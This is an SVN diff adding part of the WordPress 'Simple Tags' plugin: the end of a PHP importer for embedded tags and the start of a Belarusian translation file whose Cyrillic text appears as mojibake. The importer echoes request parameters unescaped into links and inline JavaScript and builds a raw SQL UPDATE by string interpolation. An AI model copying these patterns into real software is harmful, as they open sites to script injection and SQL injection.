+						<input type="submit" name="submit" value="<?php _e('Start import &raquo;', 'simpletags'); ?>" /></p>
+				</form>
+			</div>
+
+		<?php else: // Dynamic pages
+
+			echo '<div class="narrow">';
+
+			if( !empty($objects) ) {
+
+				echo '<ul>';
+				foreach( (array) $objects as $object ) {
+					// Return Tags
+					preg_match_all('/(' . $this->regexEscape($start) . '(.*?)' . $this->regexEscape($end) . ')/is', $object->post_content, $matches);
+
+					$tags = array();
+					foreach ( (array) $matches[2] as $match) {
+						foreach( (array) explode(',', $match) as $tag) {
+							$tags[] = $tag;
+						}
+					}
+
+					if( !empty($tags) ) {
+						// Remove empty and duplicate elements
+						$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+						$tags = array_unique($tags);
+
+						wp_set_post_tags( $object->ID, $tags, true ); // Append tags
+
+						if ( $clean == '1' ) {
+							// remove embedded tags
+							$new_content = preg_replace('/(' . $this->regexEscape($start) . '(.*?)' . $this->regexEscape($end) . ')/is', '', $object->post_content);
+							$new_content = addslashes_gpc($new_content);
+							$wpdb->query("UPDATE {$wpdb->posts} SET post_content = '{$new_content}' WHERE ID = {$object->ID} LIMIT 1");
+						}
+					}
+
+					echo '<li>#'. $object->ID .' '. $object->post_title .'</li>';
+					unset($tags, $object, $matches, $match, $new_content);
+				}
+				echo '</ul>';
+				?>
+				<p><?php _e("If your browser doesn't start loading the next page automatically click this link:", 'simpletags'); ?> <a href="admin.php?import=simple-tags.importer&amp;step=1&amp;action=import_embedded_tag&amp;typep=<?php echo $typep; ?>&amp;start=<?php echo $start; ?>&amp;end=<?php echo $end; ?>&amp;clean=<?php echo $clean; ?>&amp;n=<?php echo ($n + 20) ?>"><?php _e('Next content', 'simpletags'); ?></a></p>
+				<script type="text/javascript">
+					<!--
+					function nextPage() {
+						location.href = '<?php get_option('siteurl'); ?>/wp-admin/admin.php?import=simple-tags.importer&step=1&action=import_embedded_tag&typep=<?php echo $typep; ?>&start=<?php echo $start; ?>&end=<?php echo $end; ?>&clean=<?php echo $clean; ?>&n=<?php echo ($n + 20) ?>';
+					}
+					setTimeout( 'nextPage', 250 );
+					//-->
+				</script>
+				<?php
+
+			} else { // end
+
+				echo '<p><strong>'.__('Done!', 'simpletags').'</strong><br /></p>';
+				echo '<form action="admin.php?import=simple-tags.importer&amp;step=2" method="post">';
+				echo '<p class="submit"><input type="submit" name="submit" value="'.__('Step 2 &raquo;', 'simpletags').'" /></p>';
+				echo '</form>';
+
+			}
+			echo '</div>';
+
+		endif; ?>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Print end message importer
+	 *
+	 */
+	function done() {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Import Complete!', 'simpletags').'</h3></p>';
+		echo '<p>' . __('OK, so we lied about this being a 4-step program! You&#8217;re done!', 'simpletags') . '</p>';
+		echo '<p>' . __('Now wasn&#8217;t that easy?', 'simpletags') . '</p>';
+		echo '<p><strong>' . __('You can manage tags now !', 'simpletags') . '</strong></p>';
+		echo '</div>';
+	}
+
+	/**
+	 * Print footer importer
+	 *
+	 */
+	function footer() {
+		echo '</div>';
+	}
+
+	/**
+	 * Escape string so that it can used in Regex. E.g. used for [tags]...[/tags]
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function regexEscape( $content ) {
+		return strtr($content, array("\\" => "\\\\", "/" => "\\/", "[" => "\\[", "]" => "\\]"));
+	}
+
+	/**
+	 * trim and remove empty element
+	 *
+	 * @param string $element
+	 * @return string
+	 */
+	function deleteEmptyElement( &$element ) {
+		$element = trim($element);
+		if ( !empty($element) ) {
+			return $element;
+		}
+	}
+}
+
+// create the import object
+$embedded_importer = new EmbeddedImporter();
+
+// add it to the import page!
+register_importer('simple-tags.importer', __('Embedded Tags', 'simpletags'), __('Import Embedded Tags into the new WordPress native tagging structure.', 'simpletags'), array(&$embedded_importer, 'dispatch'));
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-by_BY.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-by_BY.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-by_BY.po	(revision 44)
@@ -0,0 +1,1868 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags 1.5.1 for WP2.3 & WP2.5\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-04-01 20:19+0600\n"
+"PO-Revision-Date: 2009-04-22 16:11+0100\n"
+"Last-Translator: Amaury BALMER <amaury@wordpress-fr.net>\n"
+"Language-Team: Lecactus <lecactus@lecactus.ru>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Russian\n"
+"X-Poedit-Country: RUSSIAN FEDERATION\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: X:\\web\\ÐÐ°ÐŽÑÑÑÐºÐ°ÑÑÑ\\wordpress\\tags\\simple-tags-wp23-wp25\\simple-tags\n"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/simple-tags.php:40
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags ÐœÐµ ÐŒÐŸÐ¶Ð° Ð¿ÑÐ°ÑÐ°Ð²Ð°ÑÑ Ð· Ð³ÑÑÐ°Ð¹ Ð²ÐµÑÑÑÑÐ¹ WordPress !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/simple-tags.php:40
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "ÐÑ Ð¿Ð°Ð²ÑÐœÐœÑ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ <a href=\"%1$s\">Ð£Ð±ÑÐŽÐŸÐ²Ð° Simple Tagging</a>."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:87
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:556
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:86
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:551
+msgid "No related posts."
+msgstr "ÐÑÐŒÐ° Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð·Ð°Ð¿ÑÑÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:88
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:555
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:87
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:550
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>ÐÐ²ÑÐ·Ð°ÐœÑÑ Ð·Ð°Ð¿ÑÑÑ</h4>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:89
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:558
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:88
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:553
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:95
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1223
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:94
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1250
+msgid "No tags."
+msgstr "ÐÑÐŒÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:96
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1225
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:95
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1252
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>ÐÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº</h4>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:98
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1224
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:97
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1251
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:110
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1440
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:109
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1496
+msgid "Tags: "
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:112
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1447
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1503
+msgid "No tag for this post."
+msgstr "Ð£ Ð·Ð°Ð¿ÑÑÑ ÐœÑÐŒÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:115
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1446
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:114
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:123
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:875
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:122
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:901
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>ÐÐ²ÑÐ·Ð°ÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ</h4>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:124
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:876
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:902
+msgid "No related tag found."
+msgstr "ÐÐ²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐœÐµ Ð·ÐœÐŸÐ¹ÐŽÐ·ÐµÐœÐ°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:125
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:124
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:130
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:129
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"ÐÑÑÐ±ÑÐ°ÑÑ %tag_name_attribute% from search\">ÐÑÑÐ±ÑÐ°ÑÑ %tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:272
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:262
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "ÐÐ°Ð¿ÑÑÑ, Ð¿Ð°Ð·ÐœÐ°ÑÐ°ÐœÑÑ Ð· %s"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:787
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:822
+msgid "There is no excerpt because this is a protected post."
+msgstr "ÐÑÐŒÐ° ÑÑÑÐ°ÑÑ, ÑÐ°ÐŒÑ ÑÑÐŸ Ð³ÑÑÐ° Ð°Ð±Ð°ÑÐŸÐœÐµÐœÑ Ð·Ð°Ð¿ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:877
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:903
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"ÐÐ»ÑÐŽÐ·ÐµÑÑ Ð·Ð°Ð¿ÑÑÑ Ð· Ð¿Ð°Ð·ÐœÐ°ÐºÐ°Ð¹ %tag_name_attribute%\">%tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1079
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"ÐÑÑÐ±ÑÐ°ÑÑ %tag_name_attribute% from search\">ÐÑÑÐ±ÑÐ°ÑÑ %tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1686
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1761
+msgid "Invalid Taxonomy"
+msgstr "ÐÐµÐŽÐ°Ð¿ÑÑÑÐ°Ð»ÑÐœÐ°Ñ ÑÐ°ÐºÑÐ°ÐœÐ°ÐŒÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:149
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:628
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:158
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: ÐÑÑÐ°Ð²Ð°ÐœÐœÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:149
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:158
+msgid "Manage Tags"
+msgstr "ÐÑÑÐ°Ð²Ð°ÐœÐœÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:150
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:843
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:159
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: ÐÐ°ÑÐ°Ð²Ð°Ðµ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÐµ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:150
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:159
+msgid "Mass Edit Tags"
+msgstr "ÐÐ°ÑÐ°Ð²Ð°Ðµ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÐµ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:151
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:209
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:160
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:151
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:160
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:217
+msgid "Auto Tags"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:152
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:522
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:161
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:521
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: ÐÐ°Ð»Ð°ÐŽÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:152
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:161
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:194
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:203
+msgid "Auto tags options updated !"
+msgstr "ÐÐ°Ð»Ð°ÐŽÐ° Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð°Ð±ÐœÐŸÑÐ»ÐµÐœÐ°Ñ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:210
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:523
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:629
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:844
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "ÐÐ°Ð²ÐµÐŽÐ°ÐµÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Ñ
+Ð°ÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ ÑÐ±ÑÐŽÐŸÐ²Ñ</a> ÐŽÐ»Ñ Ð²ÑÐ»ÑÐºÑÑ
+ ÐŽÑÑÐ°Ð»ÑÑ. ÐÐ°Ð»Ñ Ð²Ñ Ð·ÐœÐ°Ð¹ÑÐ»Ñ Ð¿Ð°ÐŒÑÐ»ÐºÑ, Ð°Ð±ÐŸ ÐŒÐ°ÐµÑÐµ ÑÐ°ÐœÑÐ°ÑÑÑÑÐœÑÑ ÑÐŽÑÑ ÐŽÐ»Ñ Ð³ÑÑÐ°Ð¹ ÑÐ±ÑÐŽÐŸÐ²Ñ, <a href=\"mailto:amaury@wordpress-fr.net\">Ð·Ð²ÑÑÑÐ°Ð¹ÑÐµÑÑ ÐŽÑ ÐŒÑÐœÐµ</a> !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:214
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:222
+msgid "Auto tags list"
+msgstr "Ð¡Ð¿ÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:215
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:223
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ ÐŽÐ°Ð·Ð²ÐŸÐ»ÑÑÑ Wordpress Ð¿ÑÐ°Ð³Ð»ÑÐŽÐ°ÑÑ Ð·ÐŒÐµÑÑÑÐ²Ð° Ð·Ð°Ð¿ÑÑÑ Ñ Ð·Ð°Ð³Ð°Ð»ÐŸÑÐºÐ° ÐœÐ° Ð¿ÑÐ°ÐŽÐŒÐµÑ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð¿ÑÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÐœÑ Ð·Ð°Ð¿ÑÑÐ°Ñ. ÐºÐ°Ð»Ñ Ð²Ð°Ñ Ð·Ð°Ð¿ÑÑ Ð°Ð±ÐŸ Ð·Ð°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº ÑÑÑÑÐŒÐŸÑÐ²Ð°ÑÑÑ ÑÐ»ÐŸÐ²Ñ \"WordPress\" Ñ Ð²Ñ ÐŒÐ°ÐµÑÐµ \"wordpress\" Ñ ÑÐ¿ÑÑÐµ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº, Simple Tags Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° ÐŽÐ°ÐŽÐ°ÑÑÑ \"wordpress\" Ñ ÑÐºÐ°ÑÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐŽÐ»Ñ Ð²Ð°ÑÐ°Ð³Ð° Ð·Ð°Ð¿ÑÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:219
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:232
+msgid "Active Auto Tags."
+msgstr "ÐÐºÑÑÐ²Ð°Ð²Ð°ÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:222
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:239
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "ÐÑÐºÐ°ÑÑÑÑÐ°ÑÑ ÑÐ°ÐºÑÐ°ÐŒÐ° Ð»Ð°ÐºÐ°Ð»ÑÐœÑÑ Ð±Ð°Ð·Ñ ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð· Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÐŒÑ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ. (Ð£Ð²Ð°Ð³Ð°, Ð³ÑÑÐ°Ñ ÐŸÐ¿ÑÑÑ ÐŒÐŸÑÐœÐ° Ð¿Ð°Ð²ÑÐ»ÑÑÐ²Ð°Ðµ ÑÐ¿Ð°Ð¶ÑÐ²Ð°ÐœÐœÐµ ÑÑÑÑÑÑÐ°Ñ CPU, ÐºÐ°Ð»Ñ Ñ Ð²Ð°Ñ ÐµÑÑÑ ÑÐŒÐ°Ñ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:225
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:246
+msgid "Autotag only posts without tags."
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ð¿Ð°Ð·ÐœÐ°ÑÑÑÑ ÑÐŸÐ»ÑÐºÑ Ð·Ð°Ð¿ÑÑÑ Ð±ÐµÐ· Ð¿Ð°Ð·Ð°ÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "Ð¡Ð¿ÑÑ ÐºÐ»ÑÑÐ°Ð²ÑÑ
+ ÑÐ»ÐŸÑ: (Ð¿Ð°ÐŽÐ·ÐµÐ»ÐµÐœÑ ÐºÐŸÑÐºÐ°ÐŒÑ ÑÐ¿ÑÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ ÑÐ¿ÑÑ &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:236
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:262
+msgid "Auto tags old content"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ð¿Ð°Ð·ÐœÐ°ÑÑÑÑ ÑÑÐ°ÑÑÑ ÐºÐ°ÐœÑÑÐœÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:237
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:263
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
